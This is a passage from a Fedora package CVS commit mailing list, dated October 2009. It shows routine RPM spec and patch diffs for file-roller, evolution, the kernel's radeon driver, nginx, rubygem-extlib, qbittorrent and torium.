In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16522

Modified Files:
	file-roller.spec 
Added Files:
	sticky-dnd.patch 
Log Message:
fix sticky DND


sticky-dnd.patch:
 eggtreemultidnd.c |   37 +++++++++++++++++++++++++------------
 1 file changed, 25 insertions(+), 12 deletions(-)

--- NEW FILE sticky-dnd.patch ---
--- file-roller-2.28.1/src/eggtreemultidnd.c	2009-10-19 13:53:45.000000000 -0400
+++ hacked/src/eggtreemultidnd.c	2009-10-29 23:23:12.660790804 -0400
@@ -179,8 +179,14 @@
   priv_data->event_list = NULL;
   priv_data->pending_event = FALSE;
 
-  g_signal_handler_disconnect (widget, priv_data->motion_notify_handler);
-  g_signal_handler_disconnect (widget, priv_data->button_release_handler);
+  if (priv_data->motion_notify_handler) {
+    g_signal_handler_disconnect (widget, priv_data->motion_notify_handler);
+    priv_data->motion_notify_handler = 0;
+  }
+  if (priv_data->button_release_handler) {
+    g_signal_handler_disconnect (widget, priv_data->button_release_handler);
+    priv_data->button_release_handler = 0;
+  }
 }
 
 
@@ -401,16 +407,23 @@
 	priv_data->event_list = g_slist_append (priv_data->event_list,
 						gdk_event_copy ((GdkEvent*)event));
 
-      priv_data->motion_notify_handler =
-	g_signal_connect (G_OBJECT (tree_view),
-			  "motion_notify_event",
-			  G_CALLBACK (egg_tree_multi_drag_motion_event),
-			  NULL);
-      priv_data->button_release_handler =
-	g_signal_connect (G_OBJECT (tree_view),
-			  "button_release_event",
-			  G_CALLBACK (egg_tree_multi_drag_button_release_event),
-			  NULL);
+      if (priv_data->motion_notify_handler == 0)
+        {
+          priv_data->motion_notify_handler =
+	    g_signal_connect (G_OBJECT (tree_view),
+	  		      "motion_notify_event",
+			      G_CALLBACK (egg_tree_multi_drag_motion_event),
+			      NULL);
+        }
+
+      if (priv_data->button_release_handler == 0)
+        {
+          priv_data->button_release_handler =
+	    g_signal_connect (G_OBJECT (tree_view),
+	 		      "button_release_event",
+			      G_CALLBACK (egg_tree_multi_drag_button_release_event),
+			      NULL);
+        }
 
       if (priv_data->drag_data_get_handler == 0)
 	{


Index: file-roller.spec
===================================================================
RCS file: /cvs/pkgs/rpms/file-roller/F-12/file-roller.spec,v
retrieving revision 1.158
retrieving revision 1.159
diff -u -p -r1.158 -r1.159
--- file-roller.spec	19 Oct 2009 22:26:19 -0000	1.158
+++ file-roller.spec	30 Oct 2009 03:32:15 -0000	1.159
@@ -11,12 +11,15 @@
 Summary:	Tool for viewing and creating archives
 Name:		file-roller
 Version:	2.28.1
-Release: 	1%{?dist}
+Release: 	2%{?dist}
 License:	GPLv2+
 Group:		Applications/Archiving
 URL:		http://download.gnome.org/sources/file-roller/
 Source:		http://download.gnome.org/sources/file-roller/2.28/file-roller-%{version}.tar.bz2
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=590606
+Patch0:		sticky-dnd.patch
+
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: glib2-devel >= %{glib2_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -51,6 +54,7 @@ such as tar or zip files.
 
 %prep
 %setup -q
+%patch0 -p1 -b .sticky-dnd
 
 %build
 %configure --disable-scrollkeeper --disable-static
@@ -127,6 +131,9 @@ fi
 %{_datadir}/icons/hicolor/scalable/apps/file-roller.svg
 
 %changelog
+* Thu Oct 29 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-2
+- Fix sticky DND
+
 * Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-1
 - Update to 2.28.1
 



From mbarnes at fedoraproject.org  Fri Oct 30 03:53:08 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Fri, 30 Oct 2009 03:53:08 +0000 (UTC)
Subject: rpms/evolution/devel evolution.spec,1.394.2.65,1.394.2.66
Message-ID: <20091030035308.E86EF11C0345@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/evolution/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20610

Modified Files:
      Tag: private-mbarnes-kb
	evolution.spec 
Log Message:
Fix file list.



Index: evolution.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/devel/evolution.spec,v
retrieving revision 1.394.2.65
retrieving revision 1.394.2.66
diff -u -p -r1.394.2.65 -r1.394.2.66
--- evolution.spec	30 Oct 2009 03:15:29 -0000	1.394.2.65
+++ evolution.spec	30 Oct 2009 03:53:05 -0000	1.394.2.66
@@ -526,8 +526,6 @@ rm -rf $RPM_BUILD_ROOT
 %{evo_plugin_dir}/org-gnome-evolution-startup-wizard.eplug
 %{evo_plugin_dir}/liborg-gnome-evolution-startup-wizard.so
 
-%{evo_plugin_dir}/org-gnome-exchange-operations.eplug
-%{evo_plugin_dir}/liborg-gnome-exchange-operations.so
 #%{evo_plugin_dir}/org-gnome-exchange-ab-subscription.xml
 #%{evo_plugin_dir}/org-gnome-exchange-cal-subscription.xml
 #%{evo_plugin_dir}/org-gnome-exchange-tasks-subscription.xml



From airlied at fedoraproject.org  Fri Oct 30 04:14:24 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Fri, 30 Oct 2009 04:14:24 +0000 (UTC)
Subject: rpms/kernel/F-12 drm-radeon-agp-font-fix.patch, NONE,
	1.1 kernel.spec, 1.1890, 1.1891
Message-ID: <20091030041424.32EB111C00E8@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25945

Modified Files:
	kernel.spec 
Added Files:
	drm-radeon-agp-font-fix.patch 
Log Message:
* Fri Oct 30 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-105
- drm-radeon-agp-font-fix.patch: hopefully fix AGP coherency issue


drm-radeon-agp-font-fix.patch:
 radeon/radeon_ttm.c |    6 ++++++
 ttm/ttm_tt.c        |    2 +-
 2 files changed, 7 insertions(+), 1 deletion(-)

--- NEW FILE drm-radeon-agp-font-fix.patch ---
>From ccc471b9940122cdda58c470055f4fe3ac6e3254 Mon Sep 17 00:00:00 2001
From: Dave Airlie <airlied at redhat.com>
Date: Fri, 30 Oct 2009 13:31:26 +1000
Subject: [PATCH] drm/radeon/kms: fix coherency issues on AGP cards.

When we are evicting from VRAM->RAM we allocate the ttm object,
but we don't set the caching policy on it before blitting into it.
This means on AGP we end up blitting into cached pages, and
the CPU later flushes out on top of them. This was mostly seen as
font corruption.

The other question is why we don't evict VRAM->GTT in a lot of cases,
this would save us some cache transitions since a lot of objects
that are evicted from VRAM will probably end up being pulled back in
a few operations later, and evicting them to system memory involves
2 unnecessary cache transitions.

Signed-off-by: Dave Airlie <airlied at redhat.com>
---
 drivers/gpu/drm/radeon/radeon_ttm.c |    6 ++++++
 drivers/gpu/drm/ttm/ttm_tt.c        |    1 +
 2 files changed, 7 insertions(+), 0 deletions(-)

diff --git a/drivers/gpu/drm/radeon/radeon_ttm.c b/drivers/gpu/drm/radeon/radeon_ttm.c
index c729cd1..f489c0d 100644
--- a/drivers/gpu/drm/radeon/radeon_ttm.c
+++ b/drivers/gpu/drm/radeon/radeon_ttm.c
@@ -295,6 +295,12 @@ static int radeon_move_vram_ram(struct ttm_buffer_object *bo,
 	if (unlikely(r)) {
 		return r;
 	}
+
+	r = ttm_tt_set_placement_caching(bo->ttm, tmp_mem.placement);
+	if (unlikely(r)) {
+		goto out_cleanup;
+	}
+
 	r = ttm_tt_bind(bo->ttm, &tmp_mem);
 	if (unlikely(r)) {
 		goto out_cleanup;
diff --git a/drivers/gpu/drm/ttm/ttm_tt.c b/drivers/gpu/drm/ttm/ttm_tt.c
index a55ee1a..7bcb89f 100644
--- a/drivers/gpu/drm/ttm/ttm_tt.c
+++ b/drivers/gpu/drm/ttm/ttm_tt.c
@@ -279,6 +279,7 @@ int ttm_tt_set_placement_caching(struct ttm_tt *ttm, uint32_t placement)
 
 	return ttm_tt_set_caching(ttm, state);
 }
+EXPORT_SYMBOL(ttm_tt_set_placement_caching);
 
 static void ttm_tt_free_alloced_pages(struct ttm_tt *ttm)
 {
-- 
1.6.5.1



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1890
retrieving revision 1.1891
diff -u -p -r1.1890 -r1.1891
--- kernel.spec	28 Oct 2009 06:09:47 -0000	1.1890
+++ kernel.spec	30 Oct 2009 04:14:20 -0000	1.1891
@@ -696,11 +696,12 @@ Patch1824: drm-intel-next.patch
 Patch1825: drm-intel-pm.patch
 Patch1826: drm-intel-no-tv-hotplug.patch
 Patch1827: drm-disable-r600-aspm.patch
-Patch1828: drm-radeon-kms-arbiter-return-ignore.patch
+Patch1828: drm-radeon-agp-font-fix.patch
 
 # vga arb
 Patch1900: linux-2.6-vga-arb.patch
 Patch1901: drm-vga-arb.patch
+Patch1902: drm-radeon-kms-arbiter-return-ignore.patch
 
 # kludge to make ich9 e1000 work
 Patch2000: linux-2.6-e1000-ich9.patch
@@ -1380,6 +1381,7 @@ ApplyPatch linux-2.6-e1000-ich9.patch
 # Nouveau DRM + drm fixes
 ApplyPatch kms-offb-handoff.patch
 ApplyPatch drm-next-ea1495a6.patch
+ApplyPatch drm-radeon-agp-font-fix.patch
 
 ApplyPatch drm-nouveau.patch
 # pm broken on my thinkpad t60p - airlied
@@ -2102,6 +2104,9 @@ fi
 # and build.
 
 %changelog
+* Fri Oct 30 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-105
+- drm-radeon-agp-font-fix.patch: hopefully fix AGP coherency issue
+
 * Wed Oct 28 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-104
 - drm-next-ea1495a6.patch: fix rs400 resume on my test box
 



From mbarnes at fedoraproject.org  Fri Oct 30 04:28:19 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Fri, 30 Oct 2009 04:28:19 +0000 (UTC)
Subject: rpms/evolution/devel evolution.spec,1.394.2.66,1.394.2.67
Message-ID: <20091030042819.CD1ED11C0086@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/evolution/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28527

Modified Files:
      Tag: private-mbarnes-kb
	evolution.spec 
Log Message:
Fix files list, again.



Index: evolution.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/devel/evolution.spec,v
retrieving revision 1.394.2.66
retrieving revision 1.394.2.67
diff -u -p -r1.394.2.66 -r1.394.2.67
--- evolution.spec	30 Oct 2009 03:53:05 -0000	1.394.2.66
+++ evolution.spec	30 Oct 2009 04:28:18 -0000	1.394.2.67
@@ -442,6 +442,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/evolution/%{evo_major}/modules
 
 # Shared libraries:
+%{_libdir}/evolution/%{evo_major}/libcomposer.so.*
 %{_libdir}/evolution/%{evo_major}/libeabutil.so.*
 %{_libdir}/evolution/%{evo_major}/libeconduit.so.*
 %{_libdir}/evolution/%{evo_major}/libecontacteditor.so.*
@@ -593,6 +594,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/evolution-mail.pc
 %{_libdir}/pkgconfig/evolution-plugin.pc
 %{_libdir}/pkgconfig/evolution-shell.pc
+%{_libdir}/evolution/%{evo_major}/libcomposer.so
 #%{_libdir}/evolution/%{evo_major}/libefilterbar.so
 %{_libdir}/evolution/%{evo_major}/libeabutil.so
 %{_libdir}/evolution/%{evo_major}/libeconduit.so



From jjh at fedoraproject.org  Fri Oct 30 05:27:52 2009
From: jjh at fedoraproject.org (jjh)
Date: Fri, 30 Oct 2009 05:27:52 +0000 (UTC)
Subject: rpms/nginx/devel .cvsignore, 1.24, 1.25 nginx.spec, 1.38,
	1.39 sources, 1.24, 1.25
Message-ID: <20091030052752.1AE1911C0086@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/nginx/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6708

Modified Files:
	.cvsignore nginx.spec sources 
Log Message:
update to 0.7.63


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nginx/devel/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	14 Sep 2009 20:01:30 -0000	1.24
+++ .cvsignore	30 Oct 2009 05:27:50 -0000	1.25
@@ -1 +1 @@
-nginx-0.7.62.tar.gz
+nginx-0.7.63.tar.gz


Index: nginx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nginx/devel/nginx.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- nginx.spec	14 Sep 2009 20:01:30 -0000	1.38
+++ nginx.spec	30 Oct 2009 05:27:51 -0000	1.39
@@ -8,7 +8,7 @@
 %define nginx_webroot   %{nginx_datadir}/html
 
 Name:           nginx
-Version:        0.7.62
+Version:        0.7.63
 Release:        1%{?dist}
 Summary:        Robust, small and high performance http and reverse proxy server
 Group:          System Environment/Daemons   
@@ -20,7 +20,7 @@ URL:            http://nginx.net/ 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:      pcre-devel,zlib-devel,openssl-devel,perl-devel,perl(ExtUtils::Embed)
-Requires:           pcre,openssl
+Requires:           pcre,zlib,openssl
 Requires:           perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 # for /usr/sbin/useradd
 Requires(pre):      shadow-utils
@@ -174,6 +174,10 @@ fi
 
 
 %changelog
+* Tue Oct 29 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 0.7.63-1
+- Update to new stable 0.7.63
+- reinstate zlib dependency
+
 * Mon Sep 14 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 0.7.62-1
 - Update to new stable 0.7.62
 - fixes CVE-2009-2629


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nginx/devel/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	14 Sep 2009 20:01:30 -0000	1.24
+++ sources	30 Oct 2009 05:27:51 -0000	1.25
@@ -1 +1 @@
-ab22f1b7f098a90d803a3abb94d23f7e  nginx-0.7.62.tar.gz
+ddbdbeca5206dcc0cd7a4d9cbac00240  nginx-0.7.63.tar.gz



From mkent at fedoraproject.org  Fri Oct 30 05:29:29 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Fri, 30 Oct 2009 05:29:29 +0000 (UTC)
Subject: rpms/rubygem-extlib/devel rubygem-extlib.spec,1.1,1.2
Message-ID: <20091030052929.D5AF411C0086@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-extlib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7047

Modified Files:
	rubygem-extlib.spec 
Log Message:
* Mon Oct 29 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-5
- Provide non gem support package.



Index: rubygem-extlib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-extlib/devel/rubygem-extlib.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- rubygem-extlib.spec	15 Oct 2009 05:43:45 -0000	1.1
+++ rubygem-extlib.spec	30 Oct 2009 05:29:28 -0000	1.2
@@ -1,4 +1,5 @@
 # Generated from extlib-0.9.13.gem by gem2rpm -*- rpm-spec -*-
+%global ruby_sitelib %(ruby -rrbconfig -e "puts Config::CONFIG['sitelibdir']")
 %global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
 %global gemname extlib
 %global geminstdir %{gemdir}/gems/%{gemname}-%{version}
@@ -8,7 +9,7 @@
 Summary: Support library for DataMapper and Merb
 Name: rubygem-%{gemname}
 Version: 0.9.13
-Release: 4%{?dist}
+Release: 5%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://rubyforge.org/projects/extlib/
@@ -34,6 +35,16 @@ Requires: %{name} = %{version}-%{release
 %description doc
 This package contains documentation for %{name}.
 
+%package -n ruby-%{gemname}
+Summary: Non-Gem support package for %{gemname}
+Group: Development/Languages
+
+Requires: %{name} = %{version}-%{release}
+Provides: ruby(%{gemname}) = %{version}-%{release}
+
+%description -n ruby-%{gemname}
+This package provides non-Gem support for %{gemname}.
+
 %prep
 %setup -q -c -T
 
@@ -58,6 +69,56 @@ find %{buildroot}%{geminstdir}/{Rakefile
 find %{buildroot}%{geminstdir}/{Rakefile,lib,spec} -type f | \
   xargs chmod 0644
 
+# Provide non-gem support. Thanks rubygem-json!
+create_symlink_rec(){
+
+ORIGBASEDIR=$1
+TARGETBASEDIR=$2
+
+## First calculate relative path of ORIGBASEDIR 
+## from TARGETBASEDIR
+TMPDIR=$TARGETBASEDIR
+BACKDIR=
+DOWNDIR=
+num=0
+nnum=0
+while true
+do
+        num=$((num+1))
+        TMPDIR=$(echo $TMPDIR | %{__sed} -e 's|/[^/][^/]*$||')
+        DOWNDIR=$(echo $ORIGBASEDIR | %{__sed} -e "s|^$TMPDIR||")
+        if [ x$DOWNDIR != x$ORIGBASEDIR ]
+        then
+                nnum=0
+                while [ $nnum -lt $num ]
+                do
+                        BACKDIR="../$BACKDIR"
+                        nnum=$((nnum+1))
+                done
+                break
+        fi
+done
+
+RELBASEDIR=$( echo $BACKDIR/$DOWNDIR | %{__sed} -e 's|//*|/|g' )
+
+## Next actually create symlink
+pushd %{buildroot}/$ORIGBASEDIR
+find . -type f | while read f
+do
+        DIRNAME=$(dirname $f)
+        BACK2DIR=$(echo $DIRNAME | %{__sed} -e 's|/[^/][^/]*|/..|g')
+        %{__mkdir_p} %{buildroot}${TARGETBASEDIR}/$DIRNAME
+        LNNAME=$(echo $BACK2DIR/$RELBASEDIR/$f | \
+                %{__sed} -e 's|^\./||' | %{__sed} -e 's|//|/|g' | \
+                %{__sed} -e 's|/\./|/|' )
+        %{__ln_s} -f $LNNAME %{buildroot}${TARGETBASEDIR}/$f
+done
+popd
+
+}
+
+create_symlink_rec %{geminstdir}/lib %{ruby_sitelib}
+
 %clean
 rm -rf %{buildroot}
 
@@ -81,7 +142,15 @@ rake spec || :
 %{geminstdir}/spec
 %{gemdir}/doc/%{gemname}-%{version}
 
+%files -n ruby-%{gemname}
+%defattr(-,root,root,-)
+%{ruby_sitelib}/%{gemname}
+%{ruby_sitelib}/%{gemname}.rb
+
 %changelog
+* Mon Oct 29 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-5
+- Provide non gem support package.
+
 * Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 0.9.13-4
 - Remove redundant doc Requires on rubygems.
 



From jjh at fedoraproject.org  Fri Oct 30 05:36:24 2009
From: jjh at fedoraproject.org (jjh)
Date: Fri, 30 Oct 2009 05:36:24 +0000 (UTC)
Subject: rpms/nginx/F-11 .cvsignore, 1.24, 1.25 nginx.spec, 1.35,
	1.36 sources, 1.24, 1.25
Message-ID: <20091030053624.618ED11C0376@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/nginx/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8102/F-11

Modified Files:
	.cvsignore nginx.spec sources 
Log Message:
update to 0.7.63


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nginx/F-11/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	14 Sep 2009 20:09:55 -0000	1.24
+++ .cvsignore	30 Oct 2009 05:36:23 -0000	1.25
@@ -1 +1 @@
-nginx-0.7.62.tar.gz
+nginx-0.7.63.tar.gz


Index: nginx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nginx/F-11/nginx.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- nginx.spec	14 Sep 2009 20:09:55 -0000	1.35
+++ nginx.spec	30 Oct 2009 05:36:23 -0000	1.36
@@ -8,7 +8,7 @@
 %define nginx_webroot   %{nginx_datadir}/html
 
 Name:           nginx
-Version:        0.7.62
+Version:        0.7.63
 Release:        1%{?dist}
 Summary:        Robust, small and high performance http and reverse proxy server
 Group:          System Environment/Daemons   
@@ -177,6 +177,9 @@ fi
 
 
 %changelog
+* Thu Oct 29 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 0.7.63-1
+- update to 0.7.63
+
 * Mon Sep 14 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 0.7.62-1
 - update to 0.7.62
 - fixes CVE-2009-2629


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nginx/F-11/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	14 Sep 2009 20:09:55 -0000	1.24
+++ sources	30 Oct 2009 05:36:23 -0000	1.25
@@ -1 +1 @@
-ab22f1b7f098a90d803a3abb94d23f7e  nginx-0.7.62.tar.gz
+ddbdbeca5206dcc0cd7a4d9cbac00240  nginx-0.7.63.tar.gz



From jjh at fedoraproject.org  Fri Oct 30 05:36:23 2009
From: jjh at fedoraproject.org (jjh)
Date: Fri, 30 Oct 2009 05:36:23 +0000 (UTC)
Subject: rpms/nginx/F-10 .cvsignore, 1.24, 1.25 nginx.spec, 1.32,
	1.33 sources, 1.24, 1.25
Message-ID: <20091030053623.D7A7111C0349@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/nginx/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8102/F-10

Modified Files:
	.cvsignore nginx.spec sources 
Log Message:
update to 0.7.63


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nginx/F-10/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	14 Sep 2009 20:11:22 -0000	1.24
+++ .cvsignore	30 Oct 2009 05:36:22 -0000	1.25
@@ -1 +1 @@
-nginx-0.7.62.tar.gz
+nginx-0.7.63.tar.gz


Index: nginx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nginx/F-10/nginx.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- nginx.spec	14 Sep 2009 20:11:22 -0000	1.32
+++ nginx.spec	30 Oct 2009 05:36:22 -0000	1.33
@@ -8,7 +8,7 @@
 %define nginx_webroot   %{nginx_datadir}/html
 
 Name:           nginx
-Version:        0.7.62
+Version:        0.7.63
 Release:        1%{?dist}
 Summary:        Robust, small and high performance http and reverse proxy server
 Group:          System Environment/Daemons   
@@ -177,6 +177,9 @@ fi
 
 
 %changelog
+* Thu Oct 29 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 0.7.63-1
+- update to 0.7.63
+
 * Mon Sep 14 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 0.7.62-1
 - update to 0.7.62 
 - fixes CVE-2009-2629


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nginx/F-10/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	14 Sep 2009 20:11:22 -0000	1.24
+++ sources	30 Oct 2009 05:36:22 -0000	1.25
@@ -1 +1 @@
-ab22f1b7f098a90d803a3abb94d23f7e  nginx-0.7.62.tar.gz
+ddbdbeca5206dcc0cd7a4d9cbac00240  nginx-0.7.63.tar.gz



From jjh at fedoraproject.org  Fri Oct 30 05:36:26 2009
From: jjh at fedoraproject.org (jjh)
Date: Fri, 30 Oct 2009 05:36:26 +0000 (UTC)
Subject: rpms/nginx/F-12 .cvsignore, 1.24, 1.25 nginx.spec, 1.38,
	1.39 sources, 1.24, 1.25
Message-ID: <20091030053626.31FF611C0376@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/nginx/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8102/F-12

Modified Files:
	.cvsignore nginx.spec sources 
Log Message:
update to 0.7.63


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nginx/F-12/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	14 Sep 2009 20:01:30 -0000	1.24
+++ .cvsignore	30 Oct 2009 05:36:24 -0000	1.25
@@ -1 +1 @@
-nginx-0.7.62.tar.gz
+nginx-0.7.63.tar.gz


Index: nginx.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nginx/F-12/nginx.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- nginx.spec	14 Sep 2009 20:01:30 -0000	1.38
+++ nginx.spec	30 Oct 2009 05:36:25 -0000	1.39
@@ -8,7 +8,7 @@
 %define nginx_webroot   %{nginx_datadir}/html
 
 Name:           nginx
-Version:        0.7.62
+Version:        0.7.63
 Release:        1%{?dist}
 Summary:        Robust, small and high performance http and reverse proxy server
 Group:          System Environment/Daemons   
@@ -20,7 +20,7 @@ URL:            http://nginx.net/ 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:      pcre-devel,zlib-devel,openssl-devel,perl-devel,perl(ExtUtils::Embed)
-Requires:           pcre,openssl
+Requires:           pcre,zlib,openssl
 Requires:           perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 # for /usr/sbin/useradd
 Requires(pre):      shadow-utils
@@ -174,6 +174,10 @@ fi
 
 
 %changelog
+* Tue Oct 29 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 0.7.63-1
+- Update to new stable 0.7.63
+- reinstate zlib dependency
+
 * Mon Sep 14 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 0.7.62-1
 - Update to new stable 0.7.62
 - fixes CVE-2009-2629


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nginx/F-12/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	14 Sep 2009 20:01:30 -0000	1.24
+++ sources	30 Oct 2009 05:36:25 -0000	1.25
@@ -1 +1 @@
-ab22f1b7f098a90d803a3abb94d23f7e  nginx-0.7.62.tar.gz
+ddbdbeca5206dcc0cd7a4d9cbac00240  nginx-0.7.63.tar.gz



From leigh123linux at fedoraproject.org  Fri Oct 30 06:58:35 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Fri, 30 Oct 2009 06:58:35 +0000 (UTC)
Subject: rpms/qbittorrent/F-12 qbittorrent.spec,1.38,1.39
Message-ID: <20091030065835.B8E4D11C00E8@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/qbittorrent/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30176

Modified Files:
	qbittorrent.spec 
Log Message:
* Fri Oct 30 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.4-2
- rebuild for rb_libtorrent-0.14.6



Index: qbittorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/F-12/qbittorrent.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- qbittorrent.spec	25 Oct 2009 14:54:29 -0000	1.38
+++ qbittorrent.spec	30 Oct 2009 06:58:29 -0000	1.39
@@ -3,7 +3,7 @@
 Name:    qbittorrent
 Summary: A Bittorrent Client 
 Version: 1.5.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
 # svn checkout -r %{svn_rev} https://qbittorrent.svn.sourceforge.net/svnroot/qbittorrent/trunk qbittorrent
@@ -74,6 +74,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/*/apps/qbittorrent.png
 
 %changelog
+* Fri Oct 30 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.4-2
+- rebuild for rb_libtorrent-0.14.6
+
 * Sun Oct 25 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.4-1
 - update to 1.5.4
 - drop flags patch



From leigh123linux at fedoraproject.org  Fri Oct 30 07:02:48 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Fri, 30 Oct 2009 07:02:48 +0000 (UTC)
Subject: rpms/torium/F-12 torium.spec,1.1,1.2
Message-ID: <20091030070250.57E1911C0269@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/torium/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31039

Modified Files:
	torium.spec 
Log Message:
* Fri Oct 30 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-5
- rebuild for rb_libtorrent-0.14.6



Index: torium.spec
===================================================================
RCS file: /cvs/pkgs/rpms/torium/F-12/torium.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- torium.spec	3 Oct 2009 23:03:15 -0000	1.1
+++ torium.spec	30 Oct 2009 07:02:47 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           torium
 Version:        0.4.2
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        A minimalistic, easily configurable torrent client for Linux 
 
 Group:          Applications/Internet
@@ -57,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-5
+- rebuild for rb_libtorrent-0.14.6
+
 * Sat Oct 03 2009 leigh scott <leigh123linux at googlemail.com> - 0.4.2-4
 - preserve the time stamps of the flags
 



From dcbw at fedoraproject.org  Fri Oct 30 07:47:36 2009
From: dcbw at fedoraproject.org (Daniel Williams)
